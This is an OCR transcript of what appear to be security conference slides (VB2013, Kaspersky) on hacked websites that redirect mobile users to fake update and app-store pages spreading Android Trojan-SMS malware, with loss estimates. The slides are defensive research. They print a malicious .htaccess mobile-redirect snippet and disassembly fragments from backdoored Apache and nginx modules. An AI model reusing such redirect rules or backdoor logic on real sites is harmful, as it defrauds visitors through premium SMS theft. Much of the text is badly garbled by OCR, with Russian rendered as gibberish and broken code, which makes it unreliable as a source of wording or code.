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REDIRECTS .htaccess

RewriteEngine on

RewriteCond %{HTTP_USER_AGENT} (android|midp|j2me|symbian|series\ 68|symbos|windows\ mobile|windows\ ce|ppc|sma
RewriteCond %{HTTP_USER_AGENT} !(accoona|ia_archiver|antabot|ask\ jeeves|baidu|dcpbot|eltaindexer|feedfetcher|g
RewriteRule (.*%) [L,R=302]

Options -Indexes

ErrorDocument 404 /404 .php

#php_flag allow_call_time_pass_reference
#php_flag session.use_trans_sid off
#php_value display rs On

#php_value mbstring.func_overload

php_value mbstring.internal_encoding UTF-8
php_value allow_call_time_pass_reference
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REDIRECTS

(13-)1(1k) [ (t-11) | (Im) | (In-) | (10) [ (1p-)[(1q) | (1r)|(1s-Vv)|(1t)]|(1
1(2)1(3)1(11)|(23) | (1K) | (1L) | (M) | (AN) | (10) | (1P.1Q) | (1R) | (1S) /1)
lg|ismobile |midp |wap |winw|xda|up|var|navigator|userAgent|match|a
3ste|avan|beng|bird|blac|blaz|brew|cell|cldc||cmd||dang|doco|eri
java|jigs|kddi|keji|leno|lge|maui|maxo|mits |mmef|mobi|mot|moto|m
»pwv | palm|pana|pant |pdxg|phil|play|pluc|port|prox|qgtek|qwap|sage
send|seri|sgh|shar|sie|siem|smal|smar|sony|sph|symb|mo|teli|tim]|
roda |w3cs |wapa|wapi |wapp |wapr |webc |browser | 1ink |windows | ce|iemob
)hone|pocket|moblle|ahdr01d|pda|PPC|Serleso@|0pera|u1n1|1pad|1ph
locument|location|href|
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REDIRECTS Backdoors

Backdoor.Linux.Apmod.gen

loc_53FE: CODE XREF: _INJECT LOAD+70Tj
_INJECT_LOAD+D2Tj ...

__INJECT_UPDATE
edx, eax
loc_5358

loc_546A: CODE XREF: _INJECT_LOAD+DCTj
esi, [ebp+nptr]
[esp], esi
dword ptr [ebp+nptr], 8O
[ebp+var_26], 8
[ebp+uvar_1C], 8O
[ebp+var_18], 6
[ebp+var_14], B
dword ptr [esp+6Ch], 14h
[esp+8], eax
[esp+4], edi
___memcpy_chk
[esp], esi ; nptr
dword ptr [esp+8Ch], 6 ; group
dword ptr [esp+8], BAh ; base |
dword ptr [esp+4], 8 ; endptr
____strtol_internal
dword ptr [esp], 8 ; timer
esi, eax
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REDIRECTS Backdoors

Backdoor.FreeBSD.Papach.a Backdoor.Linux.Maldyr.a

infected Apache for FreeBSD infected nginx for Linux

; int _ fastcall INFECTED_forwarder_X{void =dest) sub rsp, 8
public INFECTED_forwarder_X mov rax, [rdi+8]
INFECTED_forwarder_X proc near ; CODE XREF: c84143dE9F4ERa69Fe56777 mov edi, offset aXReallp ; "¥-Real-I1P"
5 YSB8C2ESBE4A6ABILFEE7F+121)p ... nov rbx, [rax]
add rbx, 16h
quword ptr -26h mov r8, [rbx+8]
quord ptr -18h nov rsi, r8
quord ptr -16h repe cmpsh
quord ptr -8 jnz short loc_456BAB
mov quord ptr [rdx+8], O

var_28
var_18
var_18
var_8

mov [rsp+var_28], rbx

mnov [rsp+var_18], rbp loc_456B92: ; CODE XREF: .text:00000000008456BEC)]
mov rbp, rdi add rsp, 8

mov [rsp+var_18], ¥12 xor eax, eax

mnov [rsp+var_8], r13 pop rbx

sub rsp, 28h pop

nov rdi, [rsi+BF6h]

mov r12, rsi

mov esi, offset aXForwardedFor ; "X-Foruwarded-For" align 26h

call _apr_table_get

mov rdi, [r12] loc_456BAB: ; CODE XREF: .text:0000008000456B88T]
mov ¥si, rax cld

call _apr_pstrdup mouv edi, offset aXForwardedFor ; "X-Forwarded-For"

test rax, rax nov ecx, 16h

mov rbx, rax nov rsi, r8

jz loc_42D468 repe cmpsb

mov rdi, rax jnz short loc_456BC3
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REDIRECTS Hackeshkieaic@Missting

® \WordPress

B Joomla

B Drupal

B Other

11 VB2013 KASPERYKY3



MALWARE



MALWARE Landing pages

O6HoBuTe Baw 6pa
1. Browser update ahy

[AocTynHa HosasA sepcus 7.0

CkpbiTh

Haer npoBepka H YCTAHOBKA HOBOIO NPH.IOKEHHSA:
O6HoBneHHe Chrome

CTPaHMUA 3arpy3Km

Kormpoepanuue new_files

Hoeoe npunoxenne Chrome rotoeo K vcraHoexke!

Beeaute ceoit HoMep TenedoHa A4 MONYYEHNA KOHTEHTa, U
crnenyitte nHcTpykumam 8 CMC:

Ha cnyuaii HecoeMecTuM(

Tenedon +7

OK

U“4*  © 2012 All rights reserved.
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MALWARE
2. Flash player

14 VB2013

Mbl NOArOTOBUAK ANS BAC CaMble NONyNApHLIE NPOrPpaMMbl U Urpsl ANA nnaT¢)op|-|u Android!

Ckauatb Adobe Flash Player ans Android

KaXabiit N0Nb30BATENL CETH MHTEPHET NPEKPACHO 3HAET O TOM, YTO
ANS TOro, 4To6bl NOCMOTPETL B CETH DUNBLMBI, MAK CLIrPaTh B OHNANH

. Apps .
UrPbl HA NEpCOHANbHBLI KoMNbioTep HeobxoauMo ycTaHosuTs Flash , Adobe Flash Player 11

Player. ToAbkO NOCAE YCTAHOBKM YKA33HHOTO MNPOrPaMMHOTO
obecneyeHne, KOMNLKTEP NOMYYHT BOSMOXHOCTH BOCMPOMSBOAWTH
CPeACTea MynbTHMEANa.

Mo6unbHele YCTPONCTBA NOA YNPaBAEHUEM ONEpPaUMOHHON CHCTeMBl
AHAPOMA, TaK Xe Kak M OObluHbIi NepCoHanbHLIN  KOMNbIOTEp
HyXpawTcR B Flash Player ana Toro, uto6bl nonb3oeaTens
YCTPOIiCTBA WMEN BO3MOXHOCTb OCYWECTeNsTL npocvoTp Flash
ponukoe. [MosToMmy, ecnu Bbl XoTure, uTobbl Bawe AHAPOMA
ycTpoiicTeo 6bin0 cnocobHO B NONHOI Mepe PacKpeTb nNepea BaMi
BO3MOXHOCTH CETH MHTEpHET, TO ckauaTe Flash Player ans anapouaa

npuaeTca obszaTensHo. Yem otauuaetca Flash Player, KOTOpbIH Mbl  wkns December 12, 2011
YCTAHAaBAMBAEM HA NEPCOHANbHBIN KOMNBKOTEP OT Toro, uTo 50.000.000+ downloads 4.49v8
YCTAHABNMBAETCA HA ONEPALMOHHYI0 CUCTEMY AHApOHA? & TOP DEVELOPER

1

August Guatlo and 1 other +1'd this.

Bo-nepewix, pasMepomM, nneep YyCT A Ha Mob)
YCTPONCTBA MMEeT MEeHblMii «Bec». BO-BTOPbLIX, paccMaTpusaemoe
nporpammMHoe ofecneuenne paboTaer He Ha Bcex Bepcuax ON
AHpoMA. YCTaHaenuBaTb nneep HeoOGXOAMMO HA YCTPONCTBA, FAe Adobe Flash Player enables a complete web
YCTAHOBNEHA BEPCHS ONEPAUNMOHHOI CHCTEMbI He Hinke 2.3. =
Vienna0

DESCRIPTION

DOWNLOAD

Ans Android 2.X, Android 3.X, Android 4.X
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MALWARE Landing pages

3 . Fa ke G Oogl e P I a A PekoMeHayeM Npou3BecTu

o6HoBnexnue

)» Androi Android Market
,‘; HOBASI BEPCUS B Android Pla
TSN B Android Play

TOMN NPUNOXXEH Npeanaraer COTHU ThICAY Pa3H006pa3HbIX NPUNOXEHNA U Urp AnNA
Android ycTpoWCTB, KOTOpbIe Bcerga GyayT nog pykow, rae Gkl Bbl HU
HaxoaunuCch. BCcemu M3BECTHLIN CalT-MarasuH Android Market,
KOTOPbIN ABNANCA OCHOBHLIM CEPBUCOM ANA NONb30BaTenei ¢
TeneoHaMu Ha NNaTGopMe aHAPOUE, Tenepb NepeuMeHoBaH B
Android Play.

1. Avpgekc.Haeun

Apyroe ﬁ Ckayars Android Play 3.11.10

w kR kW (127 O6HoBnexue Android Market Ha Android Play. Eue
6onblue YHUKANbHbLIX UFP U NPUNOXKEHUHA!

3. Real Parking

[TOHKU

C Android Play 3.11.10
15 VB2013 e | KASPER§KY2




MALWARE __Landing pages

4. Fake porn sites S
ThicAyv
B TBOEM TENEDOHE

Odopmnetue noanucku Ha cepauc Sexy Cherry

Crommoctb 20 pyb. ¢ yuetom HAC B aeHb

Haxatuem "AKTMBMpOBaTL" Bbl cormaluaeTech ¢
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MALWARE Landing pages

5. Other

LI

KASPERYKY3
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MALWARE Landing pages
5. Other wap-opera.com Mde‘ujanQns

B Fake browser
— u Fakekgrowser

mobi-servicz

skypeformobile.nem Fgke flash
® Fake flash

® Fake Google Play

flashplayer-up.ru " Fake Google Play

® Fake pron
® Fake pron

® Other
® Other

Play-systems.com

googlelpay.net

18 VB2013 KASPERYKY3



MALWARE
Zipwap

Trojan-SMS

Trojan-SMS.AndroidOS.Fakelnst.a ‘=I

e Only GCM for receiving commands

e Send Premium rate SMS

e Delete and answer incoming SMS

¢ |Install shortcuts and show notifications
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MALWARE

SmsPirat

SMEPRAT Trojan-SMS

(4]

R— ./ /
mm [rojan-SMS.AndroidOS.OpFake.a //////7

e WWorks only through mobile internet
e Send Premium rate SMS

e Delete and answer incoming SMS
e Block and redirect outgoing calls
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MALWAREL®) W@@sygw;zTrojan-SMS

Wa pSySt ; \ ?i‘/ " 3apabameisail Ha MOGUNLHOM mpadguke

Trojan-SMS.AndroidOS.OpFake.bo

e | ot’s of obfuscation

e Move functional to the elf library

e Send Premium rate SMS

e Delete and answer incoming SMS
e Steal contacts

B S —— g V&
p s Kak ato paboraer? 53? KAsPI:RSK_



MALWARE Trojan-SMS

Privatel

mm 1r0jan-SMS.AndroidOS.Agent.u

¢ First used DeviceAdmin vulnerability
e Send Premium rate SMS

e Delete and answer incoming SMS

¢ Block and redirect outgoing calls

e Steal all contacts, SMS and call logs
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MALWARE Trojan-SMS

Private2&3

m [r0jan-SMS.AndroidOS.Fakelnst.a2

eSend Premium rate SMS
e Delete and answer incoming SMS

= TrOojan-SMS.AndroidOS.Fakelnst.a3

¢Send Premium rate SMS
eDelete and answer incoming SMS
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MALWARE Trojan-SMS

Redirects

B ZipWap
B SmsPirat
B WapSyst
H Privatel
Private2
Private3

Hothers
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MONEY
> Check 4,500,000 domains twice a day
> 31,000 sites with redirect (0.6%)

> 15,000 sites redirecting at this moment
(0.3%)
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MONEY

> ~80 sites start redirecting every day

> ~44 sites being fixed every day

Reirected/Fixed
3500

3000

2500

2000
1500
1000

500

0
March 2013 April 2013 May 2013 June 2013 Jule 2013 August 2013

e redirected = fixed
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MONEY

> ~39 days / 940 hours every domain were
redirectin g Russian internet users OS

> 33% Mobile visitors
> 889,000 daily visitors
> 293,370 redirected

B Windows 7

B Windows XP

H Others

B Windows 8
Windows Vista
MacOS

® Mobile
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MONEY
> ~290,000 redirected users every day

> ~110,000 (38%) will download malware
> ~15,000 (5,3%) will install malware

llllll

lllllllll
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MONEY

30 VB2013

O

@

MEGAFON Beelme

_ MOBILE USER

‘Ei 4 ' SYMBIAN

50%

®2s.

smscoin

i} SMSONLINE €

£ N\
k& aa

SMS
3AMOK

5-10%

BS

@ W“P;?ysr. biz

BzipWap, [FEE0%

20%

JPERIKY 2



MONEY
. 15,000 users * $10 = $150,000 stolen daily

75,000 goes to mobile network operators

7,500 goes to billing companies

13,500 goes to affiliate network operators

54,000 goes to anonymous partners

02.01.2012

02.01.2012

04.01.2012

05.01.2012

06.01.2012

0r.01.2012

05.01.2012

lMToro

31 VB2013
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MONEY
> $54,000,000 stolen in last year

> $27,000,000 to mobile network operators
> $2,700,000 to billing companies
> $4,800,000 to affiliate networks

> $19,000,000 to anonymous partners
>$12,000,000 spend for buying traffic from hacked sites
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MONEY

33 VB2013

® Mobile network operators

B Billing companies

B Affiliate networks

® Anonymous partners
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CONCLUSIONS

Easy to infect site and hard to find infection
Growth of the infected users and stolen money

Not only Russia:
Western Europe

Asia
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LET'S TALK?

Roman.Unuchek@Kaspersky.com
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